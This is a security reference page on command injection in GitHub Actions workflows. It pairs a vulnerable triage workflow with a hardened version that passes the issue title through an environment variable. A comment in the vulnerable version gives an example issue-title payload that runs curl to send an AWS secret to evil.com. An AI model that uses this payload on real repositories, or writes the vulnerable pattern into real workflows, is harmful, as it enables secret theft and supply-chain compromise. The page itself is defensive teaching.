flawopen.com/Reference/GitHub Actions CI/CD Injection

GitHub Actions CI/CD Pipeline Injection

High Severity CWE-78 Supply Chain & Runtime
ELI5 — The Name Tag that Executes Commands

Imagine a conference where attendees wear automated badge printers. You type your name on a kiosk, and the machine prints a name tag. But someone types: 'Bob; open the cash register'. The printer's computer executes the semicolon as a command, opening the register and handing Bob all the cash. In GitHub Actions, when a workflow uses ${{ github.event.issue.title }} directly inside a bash script, any user on GitHub can type bash commands in an issue title and steal your repository's production deployment keys.

Target: GitHub Actions workflows (pull_request_target, issues)
Vector: Inline expression syntax inside shell run steps: ${{ github.event... }}
Impact: Compromise of GITHUB_TOKEN, production AWS secrets exfiltration, malicious releases
Remediation: Passing expressions strictly through environment variables, avoiding inline shell expansion

The Mechanism & Root Cause

GitHub Actions evaluates expressions like ${{ github.event.issue.title }} before launching the shell runner. If an issue title contains characters like ;, |, or $(), the shell treats the injected text as new commands rather than a data string. Furthermore, writing to $GITHUB_ENV allows attackers to overwrite critical runner environment variables like LD_PRELOAD.

.github/workflows/triage.yml (Vulnerable)Vulnerable
# VULNERABLE: Direct expression interpolation in inline shell
name: Issue Triage
on:
  issues:
    types: [opened]

jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - name: Print issue title
        # Attacker names issue: test"; curl https://evil.com/leak?k=$AWS_SECRET; echo "
        run: |
          echo "Title: ${{ github.event.issue.title }}" 
.github/workflows/triage.yml (Hardened)Hardened
# HARDENED: Map untrusted expressions to intermediate environment variables
name: Issue Triage
on:
  issues:
    types: [opened]

jobs:
  triage:
    runs-on: ubuntu-latest
    permissions:
      contents: read # Restrict GITHUB_TOKEN permissions
    steps:
      - name: Print issue title safely
        env:
          # Shell treats $ISSUE_TITLE strictly as an inert string argument
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: |
          echo "Title: $ISSUE_TITLE" 

The Attack & Exploit Sequence

Defensive Engineering & Prevention Rules

Explore related security topics and post-mortems: Complete Security Directory →